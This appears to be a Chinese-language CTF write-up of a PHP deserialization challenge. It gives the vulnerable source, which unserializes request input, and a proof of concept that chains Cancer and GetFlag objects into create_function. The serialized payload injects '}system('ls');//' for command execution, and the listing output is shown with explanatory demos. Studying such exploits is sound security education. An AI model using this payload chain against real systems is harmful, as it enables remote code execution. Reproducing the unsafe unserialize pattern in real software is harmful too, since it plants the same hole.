源码

<?php

class Cancer
{
public $key;

public function __destruct()
{
printf("%s\n", __METHOD__);
unserialize($this->key)();
}
}

class GetFlag
{
public $code;
public $func = "create_function";

public function create()
{
printf("%s\n", __METHOD__);
$a = $this->func;
$a('', $this->code);
}
}

if (isset($_REQUEST['Cancer'])) {
unserialize($_REQUEST['Cancer']);
} else echo "系统检测发现该处漏洞,进行攻击测试\n";
?>

POC

<?php

class Cancer
{
public $key;
}

class GetFlag
{
public $code = "}system('ls');//";
public $func = "create_function";
}

$cancer = new Cancer();
$getflag = new GetFlag();
$cancer->key = serialize(array($getflag, "create"));
echo serialize($cancer);
O:6:"Cancer":1:{s:3:"key";s:114:"a:2:{i:0;O:7:"GetFlag":2:{s:4:"code";s:16:"}system('ls');//";s:4:"func";s:15:"create_function";}i:1;s:6:"create";}";}

注意:两个类实例化调用属性的顺序。

传入payload ,得到

Cancer::__destruct
GetFlag::create
assert
index.php
module

payload 被反序列化,触发Cancer 类的 destruct 方法,进而key 被反序列化,也就是unserialize(serialize(array($getflag, "create")))(); ,这段代码会调用 GetFlag::create 方法。

这是因为在 PHP 中,array($getflag, "create") 创建了一个包含两个元素的数组,第一个元素是 GetFlag 类的一个实例 $getflag,第二个元素是字符串 “create”。在 PHP 中,这样的数组可以被解释为一个回调函数,其中 $getflag 是要调用方法的对象,”create” 是要调用的方法名。

array($getflag, "create")()call_user_func(array($getflag, "create"))是等价的,可以看一个demo

<?php

class CSSEC
{
public function test()
{
printf("%s\n", __METHOD__);
}
}

$cssec = new CSSEC();
call_user_func(array($cssec, "test")); // 输出CSSEC::test
array($getflag, "create")(); // 输出CSSEC::test
$cssec->test(); // 输出CSSEC::test,这三者效果是一样的
?>

回到题目,调用GetFlag::create 方法后,由于GetFlag类中存在$a('', $this->code); ,这里为了减小难度,直接提示create_function('', $this->code),考虑 create_function 函数的特性,这里会创建一个新的匿名函数,并将其函数体作为字符串传递给 eval() 函数。eval() 函数会执行这个字符串中的 PHP 代码。

PS:这也是create_function被移除的原因

对于"}system('chdir');//",这段代码以 } 开头,会导致 eval() 函数认为当前的函数体已经结束,然后执行后面的 system('chdir'); 代码,其中//并不是注释符的作用,而是为了防止"}system('chdir');" 被完整解析,导致语法错误,//可以用#{代替,有兴趣可以测试一下这个demo

<?php

class CSSEC
{
public function test()
{
printf("%s\n", __METHOD__); // 输出CSSEC::test
create_function('', "}system('chdir');//"); // 输出当前所在路径
create_function('', "echo 'test';}system('chdir');//"); // 只输出当前所在路径
create_function('', "}system('chdir');#"); // 输出当前所在路径
create_function('', "}system('chdir');{"); // 输出当前所在路径
}
}
$cssec = new CSSEC();
array($cssec, "test")();
?>

可变函数与create_function

引用自PHP手册:

  1. PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现回调函数等等
  2. create_function 通过执行代码字符串创建动态函数。该函数已自PHP 7.2.0 起被废弃,并自PHP 8.0.0 起被移除
  3. 相关知识:
    1. 可变函数:https://www.php.net/manual/zh/functions.variable-functions.php
    2. create_function:https://www.php.net/manual/zh/function.create-function.php
    3. 回调函数:https://www.php.net/manual/zh/language.types.callable.php